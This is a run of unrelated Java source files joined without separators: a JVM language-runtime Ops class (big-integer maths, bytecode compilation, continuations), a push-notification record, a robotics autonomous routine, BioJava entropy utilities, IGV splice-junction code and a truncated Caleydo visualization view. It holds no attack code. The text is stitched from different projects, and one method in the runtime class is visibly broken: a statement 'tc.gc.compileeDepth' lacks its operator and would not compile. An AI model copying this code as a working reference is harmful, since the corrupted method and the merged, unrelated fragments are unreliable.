expmod_I(SixModelObject a, SixModelObject b, SixModelObject c, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).modPow(getBI(tc, b), getBI(tc, c))); } public static long isprime_I(SixModelObject a, long certainty, ThreadContext tc) { BigInteger bi = getBI(tc, a); if (bi.compareTo(BigInteger.valueOf(1)) <= 0) { return 0; } return bi.isProbablePrime((int)certainty) ? 1 : 0; } public static SixModelObject rand_I(SixModelObject a, SixModelObject type, ThreadContext tc) { BigInteger size = getBI(tc, a); BigInteger random = new BigInteger(size.bitLength(), tc.random); while (random.compareTo (size) != -1) { random = new BigInteger(size.bitLength(), tc.random); } return makeBI(tc, type, random); } public static double pow_n(double a, double b) { if (a == 1 && !Double.isNaN(b)) { return 1.0; } return Math.pow(a, b); } public static double mod_n(double a, double b) { return a - Math.floor(a / b) * b; } public static SixModelObject pow_I(SixModelObject a, SixModelObject b, SixModelObject nType, SixModelObject biType, ThreadContext tc) { BigInteger base = getBI(tc, a); BigInteger exponent = getBI(tc, b); int cmp = exponent.compareTo(BigInteger.ZERO); if (cmp == 0 || base.compareTo(BigInteger.ONE) == 0) { return makeBI(tc, biType, BigInteger.ONE); } else if (cmp > 0) { if (exponent.bitLength() > 31) { /* Overflows integer. Terrifyingly huge, but try to cope somehow. */ cmp = base.compareTo(BigInteger.ZERO); if (cmp == 0 || base.compareTo(BigInteger.ONE) == 0) { /* 0 ** $big_number and 1 ** big_number are easy to do: */ return makeBI(tc, biType, base); } else if (base.compareTo(BigInteger.ONE.negate ()) == 0) { /* -1 ** exponent depends on whether b is odd or even */ return makeBI(tc, biType, exponent.mod(BigInteger.valueOf(2)) == BigInteger.ZERO ? BigInteger.ONE : BigInteger.ONE.negate ()); } else { /* Otherwise, do floating point infinity of the right sign. */ SixModelObject result = nType.st.REPR.allocate(tc, nType.st); result.set_num(tc, exponent.mod(BigInteger.valueOf(2)) == BigInteger.ZERO ? Double.POSITIVE_INFINITY : Double.NEGATIVE_INFINITY); return result; } } else { /* Can safely take its integer value. */ return makeBI(tc, biType, base.pow(exponent.intValue())); } } else { double fBase = base.doubleValue(); double fExponent = exponent.doubleValue(); SixModelObject result = nType.st.REPR.allocate(tc, nType.st); result.set_num(tc, Math.pow(fBase, fExponent)); return result; } } public static SixModelObject neg_I(SixModelObject a, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).negate()); } public static SixModelObject abs_I(SixModelObject a, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).abs()); } public static SixModelObject radix_I(long radix_l, String str, long zpos, long flags, SixModelObject type, ThreadContext tc) { BigInteger zvalue = BigInteger.ZERO; BigInteger zbase = BigInteger.ONE; int chars = str.length(); BigInteger value = zvalue; BigInteger base = zbase; long pos = -1; char ch; boolean neg = false; BigInteger radix = BigInteger.valueOf(radix_l); if (radix_l > 36) { throw ExceptionHandling.dieInternal(tc, "Cannot convert radix of " + radix_l + " (max 36)"); } ch = (zpos < chars) ? str.charAt((int)zpos) : 0; if ((flags & 0x02) != 0 && (ch == '+' || ch == '-')) { neg = (ch == '-'); zpos++; ch = (zpos < chars) ? str.charAt((int)zpos) : 0; } while (zpos < chars) { if (ch >= '0' && ch <= '9') ch = (char)(ch - '0'); else if (ch >= 'a' && ch <= 'z') ch = (char)(ch - 'a' + 10); else if (ch >= 'A' && ch <= 'Z') ch = (char)(ch - 'A' + 10); else break; if (ch >= radix_l) break; zvalue = zvalue.multiply(radix).add(BigInteger.valueOf(ch)); zbase = zbase.multiply(radix); zpos++; pos = zpos; if (ch != 0 || (flags & 0x04) == 0) { value=zvalue; base=zbase; } if (zpos >= chars) break; ch = str.charAt((int)zpos); if (ch != '_') continue; zpos++; if (zpos >= chars) break; ch = str.charAt((int)zpos); } if (neg || (flags & 0x01) != 0) { value = value.negate(); } HLLConfig hllConfig = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig; SixModelObject result = hllConfig.slurpyArrayType.st.REPR.allocate(tc, hllConfig.slurpyArrayType.st); result.push_boxed(tc, makeBI(tc, type, value)); result.push_boxed(tc, makeBI(tc, type, base)); result.push_boxed(tc, makeBI(tc, type, BigInteger.valueOf(pos))); return result; } public static SixModelObject bitor_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).or(getBI(tc, b))); } public static SixModelObject bitxor_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).xor(getBI(tc, b))); } public static SixModelObject bitand_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).and(getBI(tc, b))); } public static SixModelObject bitneg_I(SixModelObject a, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).not()); } public static SixModelObject bitshiftl_I(SixModelObject a, long b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).shiftLeft((int)b)); } public static SixModelObject bitshiftr_I(SixModelObject a, long b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).shiftRight((int)b)); } /* Evaluation of code; JVM-specific ops. */ public static SixModelObject compilejastlines(SixModelObject dump, ThreadContext tc) { if (dump instanceof VMArrayInstance) { VMArrayInstance array = (VMArrayInstance) dump; List<String> lines = new ArrayList<String>(array.elems); for (int index = 0; index < array.elems; index++) { lines.add(array.at_pos_boxed(tc, index).get_str(tc)); } EvalResult res = new EvalResult(); res.jc = JASTToJVMBytecode.buildClassFromString(lines, false); return res; } else { throw ExceptionHandling.dieInternal(tc, "compilejastlines requires an array with the VMArrayInstance REPR"); } } public static SixModelObject compilejastlinestofile(SixModelObject dump, String filename, ThreadContext tc) { if (dump instanceof VMArrayInstance) { VMArrayInstance array = (VMArrayInstance) dump; List<String> lines = new ArrayList<String>(array.elems); for (int index = 0; index < array.elems; index++) { lines.add(array.at_pos_boxed(tc, index).get_str(tc)); } JASTToJVMBytecode.writeClassFromString(lines, filename); return dump; } else { throw ExceptionHandling.dieInternal(tc, "compilejastlines requires an array with the VMArrayInstance REPR"); } } public static SixModelObject loadcompunit(SixModelObject obj, long compileeHLL, ThreadContext tc) { try { EvalResult res = (EvalResult)obj; ByteClassLoader cl = new ByteClassLoader(res.jc.bytes); res.cu = (CompilationUnit)cl.findClass(res.jc.name).newInstance(); if (compileeHLL != 0) usecompileehllconfig(tc); res.cu.initializeCompilationUnit(tc); if (compileeHLL != 0) usecompilerhllconfig(tc); res.jc = null; return obj; } catch (ControlException e) { throw e; } catch (Exception e) { throw new RuntimeException(e); } } public static long iscompunit(SixModelObject obj, ThreadContext tc) { return obj instanceof EvalResult ? 1 : 0; } public static SixModelObject compunitmainline(SixModelObject obj, ThreadContext tc) { EvalResult res = (EvalResult)obj; return res.cu.lookupCodeRef(res.cu.mainlineQbid()); } public static SixModelObject compunitcodes(SixModelObject obj, ThreadContext tc) { EvalResult res = (EvalResult)obj; SixModelObject Array = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.listType; SixModelObject result = Array.st.REPR.allocate(tc, Array.st); for (int i = 0; i < res.cu.codeRefs.length; i++) result.bind_pos_boxed(tc, i, res.cu.codeRefs[i]); return result; } public static SixModelObject jvmclasspaths(ThreadContext tc) { SixModelObject Array = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.listType; SixModelObject Str = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType; SixModelObject result = Array.st.REPR.allocate(tc, Array.st); String cpStr = System.getProperty("java.class.path"); String[] cps = cpStr.split("[:;]"); for (int i = 0; i < cps.length; i++) result.push_boxed(tc, box_s(cps[i], Str, tc)); return result; } public static long usecompileehllconfig(ThreadContext tc) { if (tc.gc.compileeDepth == 0) tc.gc.useCompileeHLLConfig(); tc.gc.compileeDepth++; return 1; } public static long usecompilerhllconfig(ThreadContext tc) { tc.gc.compileeDepth if (tc.gc.compileeDepth == 0) tc.gc.useCompilerHLLConfig(); return 1; } private static MethodHandle reset_reenter; static { try { reset_reenter = MethodHandles.insertArguments( MethodHandles.publicLookup().findStatic(Ops.class, "continuationreset", MethodType.methodType(Void.TYPE, SixModelObject.class, SixModelObject.class, ThreadContext.class, ResumeStatus.Frame.class)), 0, null, null, null); } catch (Exception e) { throw new RuntimeException(e); } } // this is the most complicated one because it's not doing a tailcall, so we need to actually use the resumeframe public static void continuationreset(SixModelObject key, SixModelObject run, ThreadContext tc) throws Throwable { continuationreset(key, run, tc, null); } public static void continuationreset(SixModelObject key, SixModelObject run, ThreadContext tc, ResumeStatus.Frame resume) throws Throwable { SixModelObject cont = null; if (resume != null) { // reload stuff here, then don't goto because java source doesn't have that Object[] bits = resume.saveSpace; key = (SixModelObject) bits[0]; tc = resume.tc; } while (true) { try { if (resume != null) { resume.resumeNext(); } else if (cont != null) { invokeDirect(tc, run, invocantCallSite, false, new Object[] { cont }); } else { invokeDirect(tc, run, emptyCallSite, false, emptyArgList); } // If we get here, the reset argument or something placed using control returned normally // so we should just return. return; } catch (SaveStackException sse) { if (sse.key != null && sse.key != key) { // This is intended for an outer scope, so just append ourself throw sse.pushFrame(0, reset_reenter, new Object[] { key }, null); } // Ooo! This is ours! resume = null; STable contType = tc.gc.Continuation.st; cont = contType.REPR.allocate(tc, contType); ((ResumeStatus)cont).top = sse.top; run = sse.handler; if (!sse.protect) break; } } // now, if we get HERE, it means we saw an unprotected control operator // so run it without protection invokeDirect(tc, run, invocantCallSite, false, new Object[] { cont }); } public static SixModelObject continuationclone(SixModelObject in, ThreadContext tc) { if (!(in instanceof ResumeStatus)) ExceptionHandling.dieInternal(tc, "applied continuationinvoke to non-continuation"); ResumeStatus.Frame read = ((ResumeStatus)in).top; ResumeStatus.Frame nroot = null, ntail = null, nnew; while (read != null) { CallFrame cf = read.callFrame == null ? null : read.callFrame.cloneContinuation(); nnew = new ResumeStatus.Frame(read.method, read.resumePoint, read.saveSpace, cf, null); if (ntail != null) { ntail.next = nnew; } else { nroot = nnew; } ntail = nnew; read = read.next; } STable contType = tc.gc.Continuation.st; SixModelObject cont = contType.REPR.allocate(tc, contType); ((ResumeStatus)cont).top = nroot; return cont; } public static void continuationcontrol(long protect, SixModelObject key, SixModelObject run, ThreadContext tc) { throw new SaveStackException(key, protect != 0, run); } public static void continuationinvoke(SixModelObject cont, SixModelObject arg, ThreadContext tc) throws Throwable { if (!(cont instanceof ResumeStatus)) ExceptionHandling.dieInternal(tc, "applied continuationinvoke to non-continuation"); ResumeStatus.Frame root = ((ResumeStatus)cont).top; // fixups: safe to do more than once, but not concurrently // these are why continuationclone is needed... ResumeStatus.Frame csr = root; while (csr != null) { csr.tc = tc; // csr.callFrame.{csr,tc} will be set on resume if (csr.next == null) csr.thunk = arg; csr = csr.next; } root.resume(); } /* noop, exists only so you can set a breakpoint in it */ public static SixModelObject debugnoop(SixModelObject in, ThreadContext tc) { return in; } public static long jvmeqaddr(SixModelObject a, SixModelObject b, ThreadContext tc) { if (a instanceof TypeObject) { return (b instanceof TypeObject) ? 1 : 0; } else { return (b instanceof TypeObject || ((JavaObjectWrapper)a).theObject != ((JavaObjectWrapper)b).theObject) ? 0 : 1; } } public static long jvmisnull(SixModelObject a, ThreadContext tc) { if (a instanceof TypeObject) { return 1; } else { return ((JavaObjectWrapper)a).theObject == null ? 1 : 0; } } public static SixModelObject jvmbootinterop(ThreadContext tc) { return BootJavaInterop.RuntimeSupport.boxJava(tc.gc.bootInterop, tc.gc.bootInterop.getSTableForClass(BootJavaInterop.class)); } public static SixModelObject jvmgetconfig(ThreadContext tc) { SixModelObject hashType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.hashType; SixModelObject strType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType; SixModelObject res = hashType.st.REPR.allocate(tc, hashType.st); try { InputStream is = Ops.class.getResourceAsStream("/jvmconfig.properties"); Properties config = new Properties(); config.load(is); for (String name : config.stringPropertyNames()) res.bind_key_boxed(tc, name, box_s(config.getProperty(name), strType, tc)); } catch (Throwable e) { die_s("Failed to load config.properties", tc); } return res; } }
package cn.cerc.mis.message; import cn.cerc.core.DataSet; import cn.cerc.core.IHandle; import cn.cerc.db.jiguang.ClientType; import cn.cerc.db.jiguang.JiguangPush; import cn.cerc.mis.core.LocalService; public class JPushRecord { private String corpNo; private String userCode; private String title; private String alert; private String msgId; private String sound = "default"; public JPushRecord(String corpNo, String userCode, String msgId) { this.corpNo = corpNo; this.userCode = userCode; this.msgId = msgId; } public void send(IHandle handle) { LocalService svr = new LocalService(handle, "SvrUserLogin.getMachInfo"); if (!svr.exec("CorpNo_", corpNo, "UserCode_", userCode)) { throw new RuntimeException(svr.getMessage()); } JiguangPush push = new JiguangPush(handle); push.setMessage(alert); push.setMsgId("" + msgId); push.setTitle(title); DataSet dataOut = svr.getDataOut(); while (dataOut.fetch()) { String machineCode = dataOut.getString("MachineCode_"); int machineType = dataOut.getInt("MachineType_"); switch (machineType) { case 6: push.send(ClientType.IOS, machineCode, this.sound); break; case 7: // IMEI if (!"n_null".equals(machineCode) && !"n_000000000000000".equals(machineCode) && !"n_".equals(machineCode)) { push.send(ClientType.Android, machineCode, this.sound); } break; default: break; } } } public String getCorpNo() { return corpNo; } public JPushRecord setCorpNo(String corpNo) { this.corpNo = corpNo; return this; } public String getUserCode() { return userCode; } public JPushRecord setUserCode(String userCode) { this.userCode = userCode; return this; } public String getTitle() { return title; } public JPushRecord setTitle(String title) { this.title = title; return this; } public JPushRecord setTitle(String format, Object... args) { this.title = String.format(format, args); return this; } public String getAlert() { return alert; } public JPushRecord setAlert(String alert) { this.alert = alert; return this; } public JPushRecord setAlert(String format, Object... args) { this.alert = String.format(format, args); return this; } public String getMsgId() { return msgId; } public JPushRecord setMsgId(String msgId) { this.msgId = msgId; return this; } public String getSound() { return sound; } public void setSound(String sound) { this.sound = sound; } }
package ftc8390.vv; import com.qualcomm.robotcore.eventloop.opmode.Autonomous; import com.qualcomm.robotcore.eventloop.opmode.Disabled; import com.qualcomm.robotcore.eventloop.opmode.LinearOpMode; import com.qualcomm.robotcore.util.ElapsedTime; @Autonomous(name="Shooter Only") // @Autonomous(...) is the other common choice @Disabled public class AutonShoot extends LinearOpMode { RobotVV mooMoo; boolean allianceIsRed; double xDirection; private ElapsedTime runtime = new ElapsedTime(); public AutonShoot(boolean isRed) { allianceIsRed = isRed; if (allianceIsRed) xDirection = 1; else xDirection = -1; } @Override public void runOpMode() { mooMoo = new RobotVV(); mooMoo.init(hardwareMap); AutonFileHandler autonFile; autonFile = new AutonFileHandler(); autonFile.readDataFromFile(hardwareMap.appContext); waitForStart(); sleep(autonFile.waitTime); mooMoo.shooter.turnOn(); mooMoo.sweeper.sweepIn(); mooMoo.driveTrain.drive(0,-autonFile.driveSpeed,0); sleep(750); mooMoo.driveTrain.stop(); sleep(2000); mooMoo.loader.raise(); sleep(mooMoo.loader.timeToRaise); mooMoo.loader.lower(); sleep(mooMoo.loader.timeToLower); mooMoo.loader.raise(); sleep(mooMoo.loader.timeToRaise); mooMoo.loader.lower(); //sleep(autonFile.shooterWait); mooMoo.shooter.turnOff(); mooMoo.sweeper.stop(); /* mooMoo.driveTrain.drive(0,0,xDirection* autonFile.driveSpeed); //Turn the robot sleep(175); //autonFile.shooterTurnValue mooMoo.driveTrain.drive(xDirection* autonFile.driveSpeed,0,0); sleep(1000); //autonFile.shooterStrafeValue mooMoo.driveTrain.drive(0,-autonFile.driveSpeed,0); sleep(2000); mooMoo.driveTrain.stop(); */ } }
package org.biojava.bio.dist; import org.biojava.utils.*; import org.biojava.bio.*; import org.biojava.bio.symbol.*; import org.biojava.bio.seq.*; import java.util.*; /** * Title: DistributionTools.java * Description: A class to hold static methods for calculations and * manipulations using Distributions. * @author Mark Schreiber */ public class DistributionTools { /** * Overide the constructer to prevent subclassing */ private DistributionTools(){} /** * Make a distribution from a count * * @param c the count * @return a Distrubution over the same <code>FiniteAlphabet</code> as <code>c</code> * and trained with the counts of <code>c</code> */ public static Distribution countToDistribution(Count c){ FiniteAlphabet a = (FiniteAlphabet)c.getAlphabet(); Distribution d = null; try{ d = DistributionFactory.DEFAULT.createDistribution(a); AlphabetIndex index = AlphabetManager.getAlphabetIndex(a); DistributionTrainerContext dtc = new SimpleDistributionTrainerContext(); dtc.registerDistribution(d); for(int i = 0; i < a.size(); i++){ dtc.addCount(d, index.symbolForIndex(i), c.getCount((AtomicSymbol)index.symbolForIndex(i))); } dtc.train(); }catch(NestedException ne){ throw new BioError(ne, "Assertion Error: Cannot convert Count to Distribution"); } return d; } /** * Compares the emission spectra of two distributions * @return true if alphabets and symbol weights are equal for the two distributions. * @throws BioException if one or both of the Distributions are over infinite alphabets. * @since 1.2 * @param a A <code>Distribution</code> with the same <code>Alphabet</code> as * <code>b</code> * @param b A <code>Distribution</code> with the same <code>Alphabet</code> as * <code>a</code> */ public static final boolean areEmissionSpectraEqual(Distribution a, Distribution b) throws BioException{ //are either of the Dists infinite if(a.getAlphabet() instanceof FiniteAlphabet == false || b.getAlphabet() instanceof FiniteAlphabet == false){ throw new IllegalAlphabetException("Cannot compare emission spectra over infinite alphabet"); } //are alphabets equal? if(!(a.getAlphabet().equals(b.getAlphabet()))){ return false; } //are emissions equal? for(Iterator i = ((FiniteAlphabet)a.getAlphabet()).iterator();i.hasNext();){ Symbol s = (Symbol)i.next(); if(a.getWeight(s) != b.getWeight(s)) return false; } return true; } /** * Compares the emission spectra of two distribution arrays * @return true if alphabets and symbol weights are equal for each pair * of distributions. Will return false if the arrays are of unequal length. * @throws BioException if one of the Distributions is over an infinite * alphabet. * @since 1.3 * @param a A <code>Distribution[]</code> consisting of <code>Distributions</code> * over a <code>FiniteAlphabet </code> * @param b A <code>Distribution[]</code> consisting of <code>Distributions</code> * over a <code>FiniteAlphabet </code> */ public static final boolean areEmissionSpectraEqual(Distribution[] a, Distribution[] b) throws BioException{ if(a.length != b.length) return false; for (int i = 0; i < a.length; i++) { if(areEmissionSpectraEqual(a[i], b[i]) == false){ return false; } } return true; } /** * A method to calculate the Kullback-Liebler Distance (relative entropy) * * @param logBase - the log base for the entropy calculation. 2 is standard. * @param observed - the observed frequence of <code>Symbols </code>. * @param expected - the excpected or background frequency. * @return - A HashMap mapping Symbol to <code>(Double)</code> relative entropy. * @since 1.2 */ public static final HashMap KLDistance(Distribution observed, Distribution expected, double logBase){ Iterator alpha = ((FiniteAlphabet)observed.getAlphabet()).iterator(); HashMap kldist = new HashMap(((FiniteAlphabet)observed.getAlphabet()).size()); while(alpha.hasNext()){ Symbol s = (Symbol)alpha.next(); try{ double obs = observed.getWeight(s); double exp = expected.getWeight(s); if(obs == 0.0){ kldist.put(s,new Double(0.0)); }else{ double entropy = obs * (Math.log(obs/exp))/Math.log(logBase); kldist.put(s,new Double(entropy)); } }catch(IllegalSymbolException ise){ ise.printStackTrace(System.err); } } return kldist; } /** * A method to calculate the Shannon Entropy for a Distribution * * @param logBase - the log base for the entropy calculation. 2 is standard. * @param observed - the observed frequence of <code>Symbols </code>. * @return - A HashMap mapping Symbol to <code>(Double)</code> entropy. * @since 1.2 */ public static final HashMap shannonEntropy(Distribution observed, double logBase){ Iterator alpha = ((FiniteAlphabet)observed.getAlphabet()).iterator(); HashMap entropy = new HashMap(((FiniteAlphabet)observed.getAlphabet()).size()); while(alpha.hasNext()){ Symbol s = (Symbol)alpha.next(); try{ double obs = observed.getWeight(s); if(obs == 0.0){ entropy.put(s,new Double(0.0)); }else{ double e = obs * (Math.log(obs))/Math.log(logBase); entropy.put(s,new Double(e)); } }catch(IllegalSymbolException ise){ ise.printStackTrace(System.err); } } return entropy; } /** * Calculates the total bits of information for a distribution. * @param observed - the observed frequence of <code>Symbols </code>. * @return the total information content of the <code>Distribution </code>. * @since 1.2 */ public static final double bitsOfInformation(Distribution observed){ HashMap ent = shannonEntropy(observed, 2.0); double totalEntropy = 0.0; for(Iterator i = ent.values().iterator(); i.hasNext();){ totalEntropy -= ((Double)i.next()).doubleValue(); } int size = ((FiniteAlphabet)observed.getAlphabet()).size(); return Math.log((double)size)/Math.log(2.0) - totalEntropy; } public static final Distribution[] distOverAlignment(Alignment a, boolean countGaps, double nullWeight) throws IllegalAlphabetException { List seqs = a.getLabels(); FiniteAlphabet alpha = (FiniteAlphabet)((SymbolList)a.symbolListForLabel(seqs.get(0))).getAlphabet(); for(int i = 1; i < seqs.size();i++){ FiniteAlphabet test = (FiniteAlphabet)((SymbolList)a.symbolListForLabel(seqs.get(i))).getAlphabet(); if(test != alpha){ throw new IllegalAlphabetException("Cannot Calculate distOverAlignment() for alignments with"+ "mixed alphabets"); } } Distribution[] pos = new Distribution[a.length()]; DistributionTrainerContext dtc = new SimpleDistributionTrainerContext(); dtc.setNullModelWeight(nullWeight); try{ for(int i = 0; i < a.length(); i++){// For each position pos[i] = DistributionFactory.DEFAULT.createDistribution(alpha); dtc.registerDistribution(pos[i]); for(Iterator j = seqs.iterator(); j.hasNext();){// of each sequence Object seqLabel = j.next(); Symbol s = a.symbolAt(seqLabel,i + 1); if(countGaps == false && s.equals(a.getAlphabet().getGapSymbol())){ //do nothing, not counting gaps }else{ dtc.addCount(pos[i],s,1.0);// count the symbol } } } dtc.train(); }catch(Exception e){ e.printStackTrace(System.err); } return pos; } public static final Distribution[] distOverAlignment(Alignment a, boolean countGaps) throws IllegalAlphabetException { return distOverAlignment(a,countGaps,0.0); } /** * Averages two or more distributions. NOTE the current implementation ignore the null model. * @since 1.2 * @param dists the <code>Distributions </code>to average * @return a <code>Distribution </code>were the weight of each <code>Symbol </code> * is the average of the weights of that <code>Symbol </code>in each <code>Distribution </code>. */ public static final Distribution average (Distribution [] dists){ Alphabet alpha = dists[0].getAlphabet(); //check if all alphabets are the same for (int i = 1; i < dists.length; i++) { if(!(dists[i].getAlphabet().equals(alpha))){ throw new IllegalArgumentException("All alphabets must be the same"); } } try{ Distribution average = DistributionFactory.DEFAULT.createDistribution(alpha); DistributionTrainerContext dtc = new SimpleDistributionTrainerContext(); dtc.registerDistribution(average); for (int i = 0; i < dists.length; i++) {// for each distribution for(Iterator iter = ((FiniteAlphabet)dists[i].getAlphabet()).iterator(); iter.hasNext(); ){//for each symbol Symbol sym = (Symbol)iter.next(); dtc.addCount(average,sym,dists[i].getWeight(sym)); } } dtc.train(); return average; } catch(IllegalAlphabetException iae){//The following throw unchecked exceptions as they shouldn't happen throw new NestedError(iae,"Distribution contains an illegal alphabet"); } catch(IllegalSymbolException ise){ throw new NestedError(ise, "Distribution contains an illegal symbol"); } catch(ChangeVetoException cve){ throw new NestedError(cve, "The Distribution has become locked"); } } }//End of class
package org.broad.igv.sam; import com.google.common.collect.HashBasedTable; import com.google.common.collect.Table; import org.apache.log4j.Logger; import org.broad.igv.PreferenceManager; import org.broad.igv.feature.IGVFeature; import org.broad.igv.feature.SpliceJunctionFeature; import org.broad.igv.feature.Strand; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.List; /** * A helper class for computing splice junctions from alignments. * <p/> * dhmay 20111014 moving min junction coverage and min alignment flanking width references to preferences * * @author dhmay, jrobinso * @date Jul 3, 2011 */ public class SpliceJunctionHelper { static Logger log = Logger.getLogger(SpliceJunctionHelper.class); List<SpliceJunctionFeature> spliceJunctionFeatures = new ArrayList(); Table<Integer, Integer, SpliceJunctionFeature> posStartEndJunctionsMap = HashBasedTable.create(); Table<Integer, Integer, SpliceJunctionFeature> negStartEndJunctionsMap = HashBasedTable.create(); private final LoadOptions loadOptions; public SpliceJunctionHelper(LoadOptions loadOptions){ this.loadOptions = loadOptions; } public List<SpliceJunctionFeature> getFeatures() { return spliceJunctionFeatures; } public void addAlignment(Alignment alignment) { AlignmentBlock[] blocks = alignment.getAlignmentBlocks(); if (blocks == null || blocks.length < 2) { return; } //there may be other ways in which this is indicated. May have to code for them later boolean isNegativeStrand; Object strandAttr = alignment.getAttribute("XS"); if (strandAttr != null) { isNegativeStrand = strandAttr.toString().charAt(0) == '-'; } else { isNegativeStrand = alignment.isNegativeStrand(); // <= TODO -- this isn't correct for all libraries. } Table<Integer, Integer, SpliceJunctionFeature> startEndJunctionsTableThisStrand = isNegativeStrand ? negStartEndJunctionsMap : posStartEndJunctionsMap; int flankingStart = -1; int junctionStart = -1; int gapCount = -1; char[] gapTypes = alignment.getGapTypes(); //for each pair of blocks, create or add evidence to a splice junction for (AlignmentBlock block : blocks) { int flankingEnd = block.getEnd(); int junctionEnd = block.getStart(); if (junctionStart != -1 && gapCount < gapTypes.length && gapTypes[gapCount] == SamAlignment.SKIPPED_REGION) { //only proceed if the flanking regions are both bigger than the minimum if (loadOptions.minReadFlankingWidth == 0 || ((junctionStart - flankingStart >= loadOptions.minReadFlankingWidth) && (flankingEnd - junctionEnd >= loadOptions.minReadFlankingWidth))) { SpliceJunctionFeature junction = startEndJunctionsTableThisStrand.get(junctionStart, junctionEnd); if (junction == null) { junction = new SpliceJunctionFeature(alignment.getChr(), junctionStart, junctionEnd, isNegativeStrand ? Strand.NEGATIVE : Strand.POSITIVE); startEndJunctionsTableThisStrand.put(junctionStart, junctionEnd, junction); spliceJunctionFeatures.add(junction); } junction.addRead(flankingStart, flankingEnd); } } flankingStart = junctionEnd; junctionStart = flankingEnd; gapCount += 1; } } public void finish() { //get rid of any features without enough coverage if (loadOptions.minJunctionCoverage > 1) { List<SpliceJunctionFeature> coveredFeatures = new ArrayList<SpliceJunctionFeature>(spliceJunctionFeatures.size()); for (SpliceJunctionFeature feature : spliceJunctionFeatures) { if (feature.getJunctionDepth() >= loadOptions.minJunctionCoverage) { coveredFeatures.add(feature); } } spliceJunctionFeatures = coveredFeatures; } //Sort by increasing beginning of start flanking region, as required by the renderer Collections.sort(spliceJunctionFeatures, new Comparator<IGVFeature>() { public int compare(IGVFeature o1, IGVFeature o2) { return o1.getStart() - o2.getStart(); } }); } public static class LoadOptions { private static PreferenceManager prefs = PreferenceManager.getInstance(); public final boolean showSpliceJunctions; public final int minJunctionCoverage; public final int minReadFlankingWidth; public LoadOptions(boolean showSpliceJunctions){ this(showSpliceJunctions, prefs.getAsInt(PreferenceManager.SAM_JUNCTION_MIN_COVERAGE), prefs.getAsInt(PreferenceManager.SAM_JUNCTION_MIN_FLANKING_WIDTH)); } public LoadOptions(boolean showSpliceJunctions, int minJunctionCoverage, int minReadFlankingWidth){ this.showSpliceJunctions = showSpliceJunctions; this.minJunctionCoverage = minJunctionCoverage; this.minReadFlankingWidth = minReadFlankingWidth; } } }
package org.caleydo.view.bicluster; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import javax.media.opengl.GL2; import org.caleydo.core.data.collection.table.Table; import org.caleydo.core.data.datadomain.ATableBasedDataDomain; import org.caleydo.core.data.datadomain.DataSupportDefinitions; import org.caleydo.core.data.datadomain.IDataDomain; import org.caleydo.core.data.datadomain.IDataSupportDefinition; import org.caleydo.core.data.perspective.table.TablePerspective; import org.caleydo.core.data.perspective.variable.Perspective; import org.caleydo.core.data.perspective.variable.PerspectiveInitializationData; import org.caleydo.core.event.EventListenerManager.ListenTo; import org.caleydo.core.event.view.TablePerspectivesChangedEvent; import org.caleydo.core.id.IDCategory; import org.caleydo.core.id.IDType; import org.caleydo.core.manager.GeneralManager; import org.caleydo.core.serialize.ASerializedView; import org.caleydo.core.util.collection.Pair; import org.caleydo.core.view.IMultiTablePerspectiveBasedView; import org.caleydo.core.view.listener.AddTablePerspectivesEvent; import org.caleydo.core.view.listener.AddTablePerspectivesListener; import org.caleydo.core.view.listener.RemoveTablePerspectiveEvent; import org.caleydo.core.view.listener.RemoveTablePerspectiveListener; import org.caleydo.core.view.opengl.camera.ViewFrustum; import org.caleydo.core.view.opengl.canvas.AGLView; import org.caleydo.core.view.opengl.canvas.ATableBasedView; import org.caleydo.core.view.opengl.canvas.EDetailLevel; import org.caleydo.core.view.opengl.canvas.IGLCanvas; import org.caleydo.core.view.opengl.canvas.remote.IGLRemoteRenderingView; import org.caleydo.core.view.opengl.layout2.AGLElementGLView; import org.caleydo.core.view.opengl.layout2.GLElement; import org.caleydo.core.view.opengl.util.texture.TextureManager; import org.caleydo.view.bicluster.concurrent.ScanProbabilityMatrix; import org.caleydo.view.bicluster.elem.ClusterElement; import org.caleydo.view.bicluster.elem.GLBiClusterElement; import org.caleydo.view.bicluster.event.ToolbarEvent; import org.eclipse.swt.widgets.Composite; /** * <p> * Sample GL2 view. * </p> * <p> * This Template is derived from {@link ATableBasedView}, but if the view does not use a table, changing that to * {@link AGLView} is necessary. * </p> * * @author Michael Gillhofer * @author Marc Streit */ public class GLBiCluster extends AGLElementGLView implements IMultiTablePerspectiveBasedView, IGLRemoteRenderingView { public static final String VIEW_TYPE = "org.caleydo.view.bicluster"; public static final String VIEW_NAME = "BiCluster Visualization"; private TablePerspective x, l, z; private ExecutorService executorService = Executors.newFixedThreadPool(4); private float sampleThreshold = 2f; private float geneThreshold = 0.1f; private final List<TablePerspective> perspectives = new ArrayList<>(); GLBiClusterElement glBiClusterElement; private boolean setXElements = false; /** * Constructor. * * @param glCanvas * @param viewLabel * @param viewFrustum * */ public GLBiCluster(IGLCanvas glCanvas, Composite parentComposite, ViewFrustum viewFrustum) { super(glCanvas, parentComposite, viewFrustum, VIEW_TYPE, VIEW_NAME); this.textureManager = new TextureManager(Activator.getResourceLoader()); } @Override public void init(GL2 gl) { super.init(gl); if (this.perspectives.size() >= 3) { findXLZ(); getRoot().setData(initTablePerspectives()); createBiClusterPerspectives(x, l, z); } detailLevel = EDetailLevel.HIGH; } private 